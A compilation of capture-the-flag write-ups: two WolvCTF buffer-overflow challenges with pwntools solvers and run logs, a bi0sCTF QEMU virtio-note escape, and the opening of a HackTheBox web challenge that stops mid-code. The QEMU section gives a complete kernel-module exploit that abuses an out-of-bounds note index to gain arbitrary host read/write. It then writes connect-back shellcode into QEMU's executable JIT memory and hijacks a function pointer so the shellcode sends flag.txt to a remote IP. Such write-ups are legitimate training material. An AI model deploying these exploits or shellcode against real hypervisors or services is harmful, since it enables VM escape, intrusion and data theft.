Flag `brck{4n_eLF_He4d_FuLL_0F_M4DNESS}` |
# Pwn: babypwn > Author: iqlusion > > Description: Just a little baby pwn. > > Connection: `nc babypwn.wolvctf.io 1337` [babypwn](https://github.com/nopedawn/CTF/blob/main/WolvCTF24/Beginner-babypwn/babypwn) [babypwn.c](https://github.com/nopedawn/CTF/blob/main/WolvCTF24/Beginner-babypwn/babypwn.c)
Given two attachments of this challenge `babypwn` & `babypwn.c`, is a baby bof (buffer overflow) vulnerability.
```bash {title="determine file type & check binary elf protection"}$ file babypwnbabypwn: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped
$ checksec babypwn[*] '/home/nopedawn/CCUG/WolvCTF24/babypwn/babypwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
```c {title="babypwn.c" lineNos=true lineNoStart=1}#include <stdio.h>#include <string.h>#include <unistd.h>
struct __attribute__((__packed__)) data { char buff[32]; int check;};
void ignore(void){ setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0);}
void get_flag(void){ char flag[1024] = { 0 }; FILE *fp = fopen("flag.txt", "r"); fgets(flag, 1023, fp); printf(flag);}
int main(void) { struct data name; ignore(); /* ignore this function */
printf("What's your name?\n"); fgets(name.buff, 64, stdin); sleep(2); printf("%s nice to meet you!\n", name.buff); sleep(2); printf("Binary exploitation is the best!\n"); sleep(2); printf("Memory unsafe languages rely on coders to not make mistakes.\n"); sleep(2); printf("But I don't worry, I write perfect code :)\n"); sleep(2);
if (name.check == 0x41414141) { get_flag(); }
return 0;}```
The `fgets` function in the `main` function reads 64 bytes into `name.buff`, which is only 32 bytes long. This can lead to an overflow of the `check` variable if more than 32 bytes are entered.
To exploit this, we need to enter 32 bytes to fill up the `buff` array, and then 4 more bytes to overwrite the `check` variable with the value `0x41414141`. Here's an solver:
```python {title="solver.py" lineNos=true lineNoStart=1}from pwn import *
def exploit(io): io.recvuntil(b"What's your name?")
payload = b'A' * 32 payload += p32(0x41414141) io.sendline(payload)
# output = io.recvall() # print(output) io.interactive()
if __name__ == "__main__": context.update(log_level='debug') try: io = remote('babypwn.wolvctf.io', 1337) exploit(io) except: io = process('./babypwn') exploit(io)```
```bash {title="running"}$ python3 solver.py[+] Opening connection to babypwn.wolvctf.io on port 1337: Done[DEBUG] Received 0x1e bytes: b'== proof-of-work: disabled ==\n'[DEBUG] Received 0x12 bytes: b"What's your name?\n"[DEBUG] Sent 0x25 bytes: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'[*] Switching to interactive mode
[DEBUG] Received 0x38 bytes: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n' b' nice to meet you!\n'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA nice to meet you![DEBUG] Received 0x21 bytes: b'Binary exploitation is the best!\n'Binary exploitation is the best![DEBUG] Received 0x3d bytes: b'Memory unsafe languages rely on coders to not make mistakes.\n'Memory unsafe languages rely on coders to not make mistakes.[DEBUG] Received 0x2b bytes: b"But I don't worry, I write perfect code :)\n"But I don't worry, I write perfect code :)[DEBUG] Received 0x20 bytes: b'wctf{pwn_1s_th3_best_Categ0ry!}\n'wctf{pwn_1s_th3_best_Categ0ry!}[*] Got EOF while reading in interactive$ q[DEBUG] Sent 0x2 bytes: b'q\n'$ q[DEBUG] Sent 0x2 bytes: b'q\n'[*] Closed connection to babypwn.wolvctf.io port 1337[*] Got EOF while sending in interactive``` > Flag: `wctf{pwn_1s_th3_best_Categ0ry!}` |
# Pwn: babypwn2 > Author: retu2libc
> Description: A harder babypwn.
> Connection: `nc babypwn2.wolvctf.io 1337` [babypwn2](https://github.com/nopedawn/CTF/blob/main/WolvCTF24/Beginner-babypwn2/babypwn2) [babypwn2.c](https://github.com/nopedawn/CTF/blob/main/WolvCTF24/Beginner-babypwn2/babypwn2.c)
The second one is `babypwn2`
```bash {title="determine file type & check binary elf protection"}$ file babypwn2 && checksec babypwn2babypwn2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped[*] '/home/nopedawn/CCUG/WolvCTF24/babypwn2/babypwn2' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)```
```c {title="babypwn2.c" lineNos=true lineNoStart=1}#include <stdio.h>#include <unistd.h>
/* ignore this function */void ignore(){ setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stdin, NULL, _IONBF, 0);}
void get_flag() { char *args[] = {"/bin/cat", "flag.txt", NULL}; execve(args[0], args, NULL);}
int main() { ignore(); char buf[0x20]; printf("What's your name?\n>> "); gets(buf); printf("Hi %s!\n", buf); return 0;}```
The `gets` function is dangerous because it does not check the size of the input, which can lead to a buffer overflow. In this case, the buffer `buf` is of size `0x20` (32 bytes), but `gets` will write past the end of the buffer if given an input larger than 32 bytes.
```bash {title="find get_flag address" hl_lines=["19"]}$ gdb ./babypwn2
gef➤ info functionsAll defined functions:
Non-debugging symbols:0x0000000000401000 _init0x0000000000401030 printf@plt0x0000000000401040 execve@plt0x0000000000401050 gets@plt0x0000000000401060 setvbuf@plt0x0000000000401070 _start0x00000000004010a0 _dl_relocate_static_pie0x00000000004010b0 deregister_tm_clones0x00000000004010e0 register_tm_clones0x0000000000401120 __do_global_dtors_aux0x0000000000401150 frame_dummy0x0000000000401152 ignore0x0000000000401195 get_flag0x00000000004011d0 main0x0000000000401220 __libc_csu_init0x0000000000401280 __libc_csu_fini0x0000000000401284 _finigef➤```
The goal here is to overwrite the return address of the `main` function with the address of the `get_flag` function. This can be done by sending an input of 32 bytes (to fill up the buffer) plus the size of the saved base pointer (usually 8 bytes on a 64-bit system), followed by the address of the `get_flag` function.
```python {title="solver.py" lineNos=true lineNoStart=1}from pwn import *
def exploit(io): io.recvuntil(b"What's your name?")
get_flag_address = 0x401195
payload = b'A' * 32 payload += b'B' * 8 payload += p64(get_flag_address) io.sendline(payload)
# output = io.recvall() # print(output) io.interactive()
if __name__ == "__main__": context.update(log_level='debug') try: io = remote('babypwn2.wolvctf.io', 1337) exploit(io) except: io = process('./babypwn2') exploit(io)```
```bash {title="running"}$ python3 solver.py[+] Opening connection to babypwn2.wolvctf.io on port 1337: Done[DEBUG] Received 0x1e bytes: b'== proof-of-work: disabled ==\n'[DEBUG] Received 0x15 bytes: b"What's your name?\n" b'>> '[DEBUG] Sent 0x31 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000020 42 42 42 42 42 42 42 42 95 11 40 00 00 00 00 00 │BBBB│BBBB│··@·│····│ 00000030 0a │·│ 00000031[*] Switching to interactive mode
>> [DEBUG] Received 0x52 bytes: 00000000 48 69 20 41 41 41 41 41 41 41 41 41 41 41 41 41 │Hi A│AAAA│AAAA│AAAA│ 00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ 00000020 41 41 41 42 42 42 42 42 42 42 42 95 11 40 21 0a │AAAB│BBBB│BBB·│·@!·│ 00000030 77 63 74 66 7b 57 6f 34 68 5f 6c 30 6f 6b 5f 34 │wctf│{Wo4│h_l0│ok_4│ 00000040 74 5f 79 30 75 5f 68 34 63 6b 31 6e 67 5f 6d 33 │t_y0│u_h4│ck1n│g_m3│ 00000050 7d 0a │}·│ 00000052Hi AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x95\x11@!wctf{Wo4h_l0ok_4t_y0u_h4ck1ng_m3}[*] Got EOF while reading in interactive$ q[DEBUG] Sent 0x2 bytes: b'q\n'$ q[DEBUG] Sent 0x2 bytes: b'q\n'[*] Closed connection to babypwn2.wolvctf.io port 1337[*] Got EOF while sending in interactive```
> Flag: `wctf{Wo4h_l0ok_4t_y0u_h4ck1ng_m3}` |
# Virtio-note
was a pwn challenge, from [bi0sCTF 2024](https://ctftime.org/event/2117).
it was a qemu escape challenge (my favourite ones), and was quite a good challenge.
I got first blood on it, and after 48H still had only 4 solves, so we can reasonnably say that it was no so easy..
------
### 1 - The Challenge
The challenge author (**k1R4**), provide us a `qemu` binary with a compiled-in virtio driver and debug symbols, source code of the virtio-driver, some notes, and an archive of the linux kernel source code used in the VM (kernel 6.7.2).
I will not go in details of what are virtio drivers in qemu, it's a kind of hardware emulation drivers that are light on ressources, and that are supposed to be faster than a full emulated devices.
The driver is separated in a backend, that is a virtio driver in qemu source code running on the host, and a frontend that is a virtio driver running in the guest VM kernel that communicate with the backend.
You can read more about virtio backend from qemu doc: [https://www.qemu.org/docs/master/devel/virtio-backends.html](https://www.qemu.org/docs/master/devel/virtio-backends.html)
the challenge author give the link of a github repo that he used for writing his driver: [https://github.com/matthias-prangl/virtio-mini](https://github.com/matthias-prangl/virtio-mini).
Personnaly I wrote mine, by reading qemu & kernel source code. Which is enough.
So we will have to write a kernel module, to be run inside the guest VM , to communicate with the custom virtio backend drivers notes.
The driver is not big, and most of the interesting functions for us are found in the source file `virtio-note.c`
```c#include "qemu/osdep.h"#include "hw/hw.h"#include "hw/virtio/virtio.h"#include "hw/virtio/virtio-note.h"#include "qemu/iov.h"#include "qemu/error-report.h"#include "standard-headers/linux/virtio_ids.h"#include "sysemu/runstate.h"
static uint64_t virtio_note_get_features(VirtIODevice *vdev, uint64_t f, Error **errp){ return f;}
static void virtio_note_set_status(VirtIODevice *vdev, uint8_t status){ if (!vdev->vm_running) { return; } vdev->status = status;}
static void virtio_note_handle_req(VirtIODevice *vdev, VirtQueue *vq) { VirtIONote *vnote = VIRTIO_NOTE(vdev); VirtQueueElement *vqe = 0; req_t *req = 0;
while(!virtio_queue_ready(vq)) { return; }
if (!runstate_check(RUN_STATE_RUNNING)) { return; }
vqe = virtqueue_pop(vq, sizeof(VirtQueueElement)); if(!vqe) goto end;
if(vqe->out_sg->iov_len != sizeof(req_t)) goto end; req = calloc(1, sizeof(req_t)); if(!req) goto end; if(iov_to_buf(vqe->out_sg, vqe->out_num, 0, req, vqe->out_sg->iov_len) != sizeof(req_t)) goto end;
if(!vnote->notes[req->idx]) { virtio_error(vdev, "Corrupted note encountered"); goto end; }
switch(req->op) { case READ: cpu_physical_memory_write(req->addr, vnote->notes[req->idx], NOTE_SZ); break;
case WRITE: cpu_physical_memory_read(req->addr, vnote->notes[req->idx], NOTE_SZ); break;
default: goto end; }
virtqueue_push(vq, vqe, vqe->out_sg->iov_len); virtio_notify(vdev, vq);
end: g_free(vqe); free(req); return;}
static void virtio_note_device_realize(DeviceState *dev, Error **errp) { VirtIODevice *vdev = VIRTIO_DEVICE(dev); VirtIONote *vnote = VIRTIO_NOTE(dev); virtio_init(vdev, VIRTIO_ID_NOTE, 0); vnote->vnq = virtio_add_queue(vdev, 4, virtio_note_handle_req); for(int i = 0; i < N_NOTES; i++) { vnote->notes[i] = calloc(NOTE_SZ, 1); if(!vnote->notes[i]) { virtio_error(vdev, "Unable to initialize notes"); return; } }}
static void virtio_note_device_unrealize(DeviceState *dev) { VirtIODevice *vdev = VIRTIO_DEVICE(dev); VirtIONote *vnote = VIRTIO_NOTE(dev); for(int i = 0; i < N_NOTES; i++) { free(vnote->notes[i]); vnote->notes[i] = NULL; } virtio_cleanup(vdev);}
static void virtio_note_class_init(ObjectClass *klass, void *data) { DeviceClass *dc = DEVICE_CLASS(klass); VirtioDeviceClass *vdc = VIRTIO_DEVICE_CLASS(klass);
set_bit(DEVICE_CATEGORY_MISC, dc->categories); vdc->realize = virtio_note_device_realize; vdc->unrealize = virtio_note_device_unrealize; vdc->get_features = virtio_note_get_features; vdc->set_status = virtio_note_set_status;}
static const TypeInfo virtio_note_info = { .name = TYPE_VIRTIO_NOTE, .parent = TYPE_VIRTIO_DEVICE, .instance_size = sizeof(VirtIONote), .class_init = virtio_note_class_init,};
static void virtio_register_types(void) { type_register_static(&virtio_note_info);}
type_init(virtio_register_types);```
**So let's analyse quickly what this driver does:**
in the function `virtio_note_device_realize()` that is called at driver initialisation, you can see that it registers a function named `virtio_note_handle_req` that will process the request, that"s with this function that we will communicate via a request queue:
```cvnote->vnq = virtio_add_queue(vdev, 4, virtio_note_handle_req);```
then it allocates with `calloc()` `16` notes of `0x40` bytes long on heap, their addresses are recorded in the structure `VirtIONote`that looks like this:
```ctypedef struct VirtIONote { VirtIODevice parent_obj; VirtQueue *vnq; char *notes[N_NOTES]; // N_NOTES is 16} VirtIONote;```
we can communicate with the driver by pushing requests in queue , that he will process with the registered `virtio_note_handle_req` function, the request format is defined in `virtio-note.h`like this:
```ctypedef struct req_t { unsigned int idx; hwaddr addr; operation op;} req_t;```
It can be a READ request or a WRITE request, depending if we want to read a note, or write into a note. We must indicates a note index too, and a physical address from which data will be read, or written to (depending on direction defined in `operation`). The read and write operation are of 64 bytes long, a full note size.
------
### 2 - Where is the vulnerability ?
Good question, well if you look at request handling function, you can notice one thing:
```c switch(req->op) { case READ: cpu_physical_memory_write(req->addr, vnote->notes[req->idx], NOTE_SZ); break;
case WRITE: cpu_physical_memory_read(req->addr, vnote->notes[req->idx], NOTE_SZ); break;
default: goto end; }```
Depending on requested operation, a note is read or written from the requested index `req->idx`, but there are not checks anywhere to verify that the requested index is greater than 16, which is the default number of notes.
So we have a OOB access to the notes `VirtIONote`table, that's nice..
------
### 3 - How to exploit it ?
Ok, let's put a breakpoint at handling function `virtio_note_handle_req` and check what is on heap after the table, to see how we can exploit the OOB access.
![heap1](https://github.com/nobodyisnobody/write-ups/blob/main/bi0sCTF.2024/pwn/virtio-note/pics/heap1.png?raw=true)
You can see first the 16 entries of `vnotes->notes[16]` pointing to the 16 notes allocated on heap too.
And at index 19 (in yellow) you can see a pointer that points to index 30 on heap. So if we use index 19 we can read or write a zone of 64 bytes starting here at address 0x5555576df4a0 (at offset 30), this zone is in yellow too.
What we can do is writing an address into this 64 bytes zone, for example at offset 32 (which contains the string "e-device>"). Then by reading or writing at index 32, we can write and read 64 bytes where we want.
So in the end, we will have a perfectly controlled `READ/WRITE Primitive`!! More than enough to pwn qemu.
------
### 4 - So what's the plan now ?
Well, the plan is:
1. we leak an heap address, we will use index 26 for that, it points to various heap addresses, some near from us.2. we leak an address belonging to qemu binary (`qobject_input_type_null`) to calculate qemu binary mapping base, the address at index 343. now that we know qemu mapping base, we will leak `tcg_qemu_tb_exec`var in qemu .bss, which points to the RWX zone used by qemu to generate jit code. Ideal place to write a shellcode no ?4. we will search address of `virtio_note_handle_req`function pointer on heap, that function pointer belong to the driver structures allocated on heap, and will be call when we are sending a command to the drivers.5. copy our shellcode in RWX zone, we will write it near the end of the zone, for not being overwritted by qemu in between.6. overwrite the `virtio_note_handle_req` we found on heap, with the address of our shellcode in RWX zone.7. Send any command to the virtio driver, that will execute our shellcode.
We will use a shellcode that connect back to a given IP and port, and that will send on the socket the content of file `flag.txt` and like this we will get our flag..
![heap1](https://github.com/nobodyisnobody/write-ups/blob/main/bi0sCTF.2024/pwn/virtio-note/pics/gotflag.jpg?raw=true)
------
### 5 - The Exploit
I did not have the time to clean much the exploit ,or to rewrite it more cleanly. sorry in advance ?
The exploit in a kernel module that needs to be compiled , and loaded in to the VM, with insmod. It will make qemu execute the shellcode.. you have to replace the shellcode by yours..(I leave that as an exercise for you...)
```c#include <linux/module.h>#include <linux/kernel.h>#include <linux/virtio.h>#include <linux/virtio_config.h>#include <uapi/linux/virtio_ids.h>#include <linux/scatterlist.h>
MODULE_LICENSE("GPL");MODULE_AUTHOR("nobodyisnobody");MODULE_DESCRIPTION("VirtIO Note Driver");
#define VIRTIO_ID_NOTE 42
#define READ 0#define WRITE 1
// connect back shellcode, open flag.txt and send it on socketunsigned char shellc[] = {0x48, 0x83, 0xec, 0x78, 0x6a, 0x29, 0x58, 0x99, 0x6a, 0x2, 0x5f, 0x6a, 0x1, 0x5e, 0xf, 0x5, 0x89, 0xc5, 0x97, 0xb0, 0x2a, 0x48, 0xb9, 0xfe, 0xff, 0xcf, 0x35, 0xfa, 0x0, 0x93, 0x3f, 0x48, 0xf7, 0xd9, 0x51, 0x54, 0x5e, 0xb2, 0x10, 0xf, 0x5, 0x48, 0x8d, 0x3d, 0x18, 0x0, 0x0, 0x0, 0x31, 0xf6, 0x6a, 0x2, 0x58, 0xf, 0x5, 0x89, 0xef, 0x89, 0xc6, 0x31, 0xd2, 0x6a, 0x78, 0x41, 0x5a, 0x6a, 0x28, 0x58, 0xf, 0x5, 0xeb, 0xfe, 0x66, 0x6c, 0x61, 0x67, 0x2e, 0x74, 0x78, 0x74, 0x0};
typedef struct req_t { unsigned int idx; phys_addr_t addr; int op;} req_t;
struct virtio_note_info { struct virtio_device *vdev; struct virtqueue *vq;};
static void send_request(struct virtio_note_info *note_info, req_t *request_buff){ unsigned int len; struct scatterlist sg; // Prepare scatter-gather list and add the buffer sg_init_one(&sg, request_buff, sizeof(req_t)); if (virtqueue_add_outbuf(note_info->vq, &sg, 1, request_buff, GFP_KERNEL) < 0) { printk(KERN_ERR "VirtIO Note: Error adding buffer\n"); return; } virtqueue_kick(note_info->vq); // Wait for the buffer to be used by the device while (virtqueue_get_buf(note_info->vq, &len) == NULL) cpu_relax();
}
static int virtio_note_probe(struct virtio_device *vdev){struct virtio_note_info *note_info;req_t *request_buff;char *data;char *data2;uint64_t qemu_base, rwx_base;uint64_t heap_addr, target, offset, shellcode_offset;
note_info = kmalloc(sizeof(struct virtio_note_info), GFP_KERNEL); if (!note_info) return -ENOMEM; note_info->vdev = vdev; note_info->vq = virtio_find_single_vq(vdev, NULL, "note-queue"); if (IS_ERR(note_info->vq)) { kfree(note_info); return PTR_ERR(note_info->vq); }
// Allocate and prepare your request buffer request_buff = kmalloc(sizeof(req_t), GFP_KERNEL); if (!request_buff) { kfree(note_info); return -ENOMEM; } data = kmalloc(0x40, GFP_KERNEL); data2 = kmalloc(0x40, GFP_KERNEL);
// leak heap address request_buff->idx = 26; // Example index request_buff->addr = virt_to_phys(data); // Example address request_buff->op = READ; // Example operation send_request(note_info, request_buff); heap_addr = *(uint64_t *)(data+0x10); printk(KERN_DEBUG "1st heap addr leaked: 0x%llx\n", heap_addr);
// leak a qemu address to calculate qemu base request_buff->idx = 19; // Example index request_buff->addr = virt_to_phys(data); // Example address request_buff->op = READ; // Example operation send_request(note_info, request_buff); qemu_base = *(uint64_t *)(data+0x20) - 0x86c800; printk(KERN_DEBUG "qemu binary base leaked: 0x%llx\n", qemu_base);
/* leak tcg_qemu_tb_exec value in qemu .bss to get RWX zone address*/ *(uint64_t *)(data+0x10) = (qemu_base+0x1cffb80); // Prepare a WRITE request request_buff->idx = 19; // Example index request_buff->addr = virt_to_phys(data); // Example address request_buff->op = WRITE; // Example operation send_request(note_info, request_buff);
// leak rwx zone address request_buff->idx = 32; // Example index request_buff->addr = virt_to_phys(data2); // Example address request_buff->op = READ; // Example operation send_request(note_info, request_buff); rwx_base = *(uint64_t *)data2; printk(KERN_DEBUG "rwx base leaked: 0x%llx\n", rwx_base);
/* search for function virtio_note_handle_req on heap */ target = qemu_base + 0x69f0d0; offset = 0; while (1) { *(uint64_t *)(data+0x10) = (heap_addr + offset); // Prepare a WRITE request request_buff->idx = 19; // Example index request_buff->addr = virt_to_phys(data); // Example address request_buff->op = WRITE; // Example operation send_request(note_info, request_buff);
// read second heap addr request_buff->idx = 32; // Example index request_buff->addr = virt_to_phys(data2); // Example address request_buff->op = READ; // Example operation send_request(note_info, request_buff); if (*(uint64_t *)data2 == target) break; offset += 8; } printk(KERN_DEBUG "target found at: 0x%llx\n", heap_addr+offset);
/* write our shellcode in rwx zone */ shellcode_offset = 0x3ffe000; // rwx zone to copy shellcode *(uint64_t *)(data+0x10) = (rwx_base+shellcode_offset); // Prepare a WRITE request request_buff->idx = 19; // Example index request_buff->addr = virt_to_phys(data); // Example address request_buff->op = WRITE; // Example operation send_request(note_info, request_buff);
memcpy(data2,shellc,64); // Example initialization of request request_buff->idx = 32; // Example index request_buff->addr = virt_to_phys(data2); // Example address request_buff->op = WRITE; // Example operation send_request(note_info, request_buff);
// rwx zone to copy shellcode *(uint64_t *)(data+0x10) = (rwx_base+shellcode_offset+0x40); // Prepare a WRITE request request_buff->idx = 19; // Example index request_buff->addr = virt_to_phys(data); // Example address request_buff->op = WRITE; // Example operation send_request(note_info, request_buff);
memcpy(data2,&shellc[64],sizeof(shellc)-64); // Example initialization of request request_buff->idx = 32; // Example index request_buff->addr = virt_to_phys(data2); // Example address request_buff->op = WRITE; // Example operation send_request(note_info, request_buff);
printk(KERN_DEBUG "shellcode copied at: 0x%llx\n", rwx_base+shellcode_offset);
/* overwrite virtio_note_handle_req on heap with our shellcode address */ *(uint64_t *)(data+0x10) = (heap_addr + offset); // Prepare a WRITE request request_buff->idx = 19; // Example index request_buff->addr = virt_to_phys(data); // Example address request_buff->op = WRITE; // Example operation send_request(note_info, request_buff); // modify function ptr
// read data request_buff->idx = 32; // Example index request_buff->addr = virt_to_phys(data2); // Example address request_buff->op = READ; // Example operation send_request(note_info, request_buff); *(uint64_t *)data2 = (rwx_base+shellcode_offset); // write data back request_buff->idx = 32; // Example index request_buff->addr = virt_to_phys(data2); // Example address request_buff->op = WRITE; // Example operation send_request(note_info, request_buff);
printk(KERN_DEBUG "executing shellcode...\n");
// This one should get us code exec request_buff->idx = 19; // Example index request_buff->addr = virt_to_phys(data); // Example address request_buff->op = READ; // Example operation send_request(note_info, request_buff);
kfree(data); kfree(request_buff); return 0;}
static void virtio_note_remove(struct virtio_device *vdev){ printk(KERN_INFO "VirtIO Note: Device removed\n"); // Perform any necessary cleanup}
static struct virtio_device_id id_table[] = { { VIRTIO_ID_NOTE, VIRTIO_DEV_ANY_ID }, { 0 },};
static struct virtio_driver virtio_note_driver = { .driver.name = KBUILD_MODNAME, .driver.owner = THIS_MODULE, .id_table = id_table, .probe = virtio_note_probe, .remove = virtio_note_remove,};
static int __init virtio_note_init(void){ return register_virtio_driver(&virtio_note_driver);}
static void __exit virtio_note_exit(void){ unregister_virtio_driver(&virtio_note_driver);}
module_init(virtio_note_init);module_exit(virtio_note_exit);```
to compile it, just unpack the source or the kernel given by the challenge author, configure it as explained in the challenge readme.
the you can create a simple Makefile (let's say that the exploit module is named `mod.c`)
```makefileobj-m += mod.oKDIR := ./linux-6.7.2/
all: $(MAKE) -C $(KDIR) M=$(PWD) modules
clean: $(MAKE) -C $(KDIR) M=$(PWD) clean```
and do make it will compile the `mod.ko`kernel module, ready to be loaded in the guest VM.
and that's all...!!!
like everytime... ?
**nobodyisnobody is still hacking..**
|
# Flag Command
Embark on the "Dimensional Escape Quest" where you wake up in a mysterious forest maze that's not quite of this world. Navigate singing squirrels, mischievous nymphs, and grumpy wizards in a whimsical labyrinth that may lead to otherworldly surprises. Will you conquer the enchanted maze or find yourself lost in a different dimension of magical challenges? The journey unfolds in this mystical escape!
## Writeup
The main site contain this script:
```html
<html lang="en">
<head> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>Flag Command</title> <link rel="stylesheet" href="/static/terminal/css/terminal.css" /> <link rel="stylesheet" href="/static/terminal/css/commands.css" /></head>
<body style="color: #94ffaa !important; position: fixed; height: 100vh; overflow: scroll; font-size: 28px;font-weight: 700;"> <div id="terminal-container" style="overflow: auto;height: 90%;"> </div> <div id="command"> <textarea id="user-text-input" autofocus></textarea> <div id="current-command-line"> <span></span>█ </div> </div> <audio id="typing-sound" src="/static/terminal/audio/typing_sound.mp3" preload="auto"></audio> <script src="/static/terminal/js/commands.js" type="module"></script> <script src="/static/terminal/js/main.js" type="module"></script> <script src="/static/terminal/js/game.js" type="module"></script>
<script type="module"> import { startCommander, enterKey, userTextInput } from "/static/terminal/js/main.js"; startCommander();
window.addEventListener("keyup", enterKey);
// event listener for clicking on the terminal document.addEventListener("click", function () { userTextInput.focus(); });
</script></body>
</html>```
So we can look at **main.js**:
```/static/terminal/js/main.js```
We can found this code:
```jsimport { START, INFO, INITIAL_OPTIONS, HELP } from "./commands.js";import { playerLost, playerWon } from "./game.js";
let availableOptions;
let currentStep = 1;// SELECT HTML ELEMENTS// ---------------------------------------export const beforeDiv = document.getElementById("before-div"), currentCommandLine = document.getElementById("current-command-line"), commandText = document.getElementById("commad-written-text"), userTextInput = document.getElementById("user-text-input");
const typingSound = new Audio();typingSound.src = document.getElementById("typing-sound").src;typingSound.loop = true;
// COMMANDER VARIABLES// ---------------------------------------let currentCommand = 0, commandHistory = [], typingSpeed = 10, typing = true, playAudio = true, fetchingResponse = false, gameStarted = false, gameEnded = false;
export const startCommander = async () => { await fetchOptions(); userTextInput.value = ""; commandText.innerHTML = userTextInput.value;
await displayLinesInTerminal({ lines: INFO });
userTextInput.focus();};
// HTTP REQUESTS// ---------------------------------------async function CheckMessage() { fetchingResponse = true; currentCommand = commandHistory[commandHistory.length - 1];
if (availableOptions[currentStep].includes(currentCommand) || availableOptions['secret'].includes(currentCommand)) { await fetch('/api/monitor', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ 'command': currentCommand }) }) .then((res) => res.json()) .then(async (data) => { console.log(data) await displayLineInTerminal({ text: data.message });
if(data.message.includes('Game over')) { playerLost(); fetchingResponse = false; return; }
if(data.message.includes('HTB{')) { playerWon(); fetchingResponse = false;
return; }
if (currentCommand == 'HEAD NORTH') { currentStep = '2'; } else if (currentCommand == 'FOLLOW A MYSTERIOUS PATH') { currentStep = '3' } else if (currentCommand == 'SET UP CAMP') { currentStep = '4' }
let lineBreak = document.createElement("br");
beforeDiv.parentNode.insertBefore(lineBreak, beforeDiv); displayLineInTerminal({ text: '<span>You have 4 options!</span>' }) displayLinesInTerminal({ lines: availableOptions[currentStep] }) fetchingResponse = false; });
} else { displayLineInTerminal({ text: "You do realise its not a park where you can just play around and move around pick from options how are hard it is for you????" }); fetchingResponse = false; }}
// TEXT FUNCTIONS// ---------------------------------------const typeText = async (element, text) => { if (playAudio && typingSound.paused) { typingSound.play(); }
for (let i = 0; i < text.length; i++) { if (text.charAt(i) === " " && text.charAt(i + 1) === " ") { element.innerHTML += " "; i++; } else { element.innerHTML += text.charAt(i); } await new Promise((resolve) => setTimeout(resolve, typingSpeed)); }
if (playAudio) { typingSound.pause(); typingSound.currentTime = 0; }};
const createNewLineElement = ({ style = "", addPadding = false }) => { // remove the current command line until new line is displayed currentCommandLine.classList.remove("visible"); currentCommandLine.style.opacity = 0;
const nextLine = document.createElement("p");
// add style depending on the type of line nextLine.className = style + (addPadding ? " spaced-line" : "");
beforeDiv.parentNode.insertBefore(nextLine, beforeDiv); window.scrollTo(0, document.body.offsetHeight);
return nextLine;};
// process remaining text with styled and unstyled parts and apply typing effectconst processTextWithTypingEffect = async (nextLine, text) => { let remainingText = text;
// process remaining text with styled and unstyled parts while (remainingText) { const styledElementMatch = remainingText.match(/<(\w+)(?:\s+class=['"]([^'"]*)['"])?>([^<]*)<\/\1>/); const unstyledText = styledElementMatch ? remainingText.slice(0, styledElementMatch.index) : remainingText;
// handle unstyled text if (unstyledText) { await typeText(nextLine, unstyledText); }
// handle styled text if (styledElementMatch) { const [, tagName, className, innerText] = styledElementMatch; const styledElement = document.createElement(tagName); if (className) { styledElement.className = className; } nextLine.appendChild(styledElement); await typeText(styledElement, innerText); remainingText = remainingText.slice(styledElementMatch.index + styledElementMatch[0].length); } else { remainingText = null; } }};
// display a line in the terminal with optional styling and typing effectexport const displayLineInTerminal = async ({ text = "", style = "", useTypingEffect = true, addPadding = false }) => { typing = true;
// create and style a new line element const nextLine = createNewLineElement({ style, addPadding });
// use typing effect if enabled await processTextWithTypingEffect(nextLine, text);
// reset typing flag and make the current command line visible typing = false; currentCommandLine.style.opacity = 1; currentCommandLine.classList.add("visible");};
// display multiple lines in the terminal with optional styling and typing effectexport const displayLinesInTerminal = async ({ lines, style = "", useTypingEffect = true }) => { for (let i = 0; i < lines.length; i++) { await new Promise((resolve) => setTimeout(resolve, 0));
await displayLineInTerminal({ text: lines[i], style: style }); }};
// EVENT LISTENERS// ---------------------------------------// user input keydown event listenerconst keyBindings = { Enter: () => { // if a response is being fetched, do nothing on Enter if (fetchingResponse) { return; } else { commandHistory.push(commandText.innerHTML); currentCommand = commandHistory.length; displayLineInTerminal({ text: `>> ${commandText.innerHTML}`, useTypingEffect: true, addPadding: true }); commander(commandText.innerHTML.toLowerCase()); commandText.innerHTML = ""; userTextInput.value = ""; } },
ArrowUp: () => { if (currentCommand > 0) { currentCommand -= 1; commandText.innerHTML = commandHistory[currentCommand]; userTextInput.value = commandHistory[currentCommand]; } },
ArrowDown: () => { if (currentCommand < commandHistory.length) { currentCommand += 1; if (commandHistory[currentCommand] === undefined) { userTextInput.value = ""; } else { userTextInput.value = commandHistory[currentCommand]; } commandText.innerHTML = userTextInput.value; } },};
// available user commandsexport const commandBindings = { help: () => { displayLinesInTerminal({ lines: HELP }); },
start: async () => { await displayLineInTerminal({ text: START }); let lineBreak = document.createElement("br");
beforeDiv.parentNode.insertBefore(lineBreak, beforeDiv); await displayLinesInTerminal({ lines: INITIAL_OPTIONS }); gameStarted = true; }, clear: () => { while (beforeDiv.previousSibling) { beforeDiv.previousSibling.remove(); } },
audio: () => { if (playAudio) { playAudio = false; displayLineInTerminal({ text: "Audio turned off" }); } else { playAudio = true; displayLineInTerminal({ text: "Audio turned on" }); } },
restart: () => { let count = 6;
function updateCounter() { count--;
if (count <= 0) { clearInterval(counter); return location.reload(); }
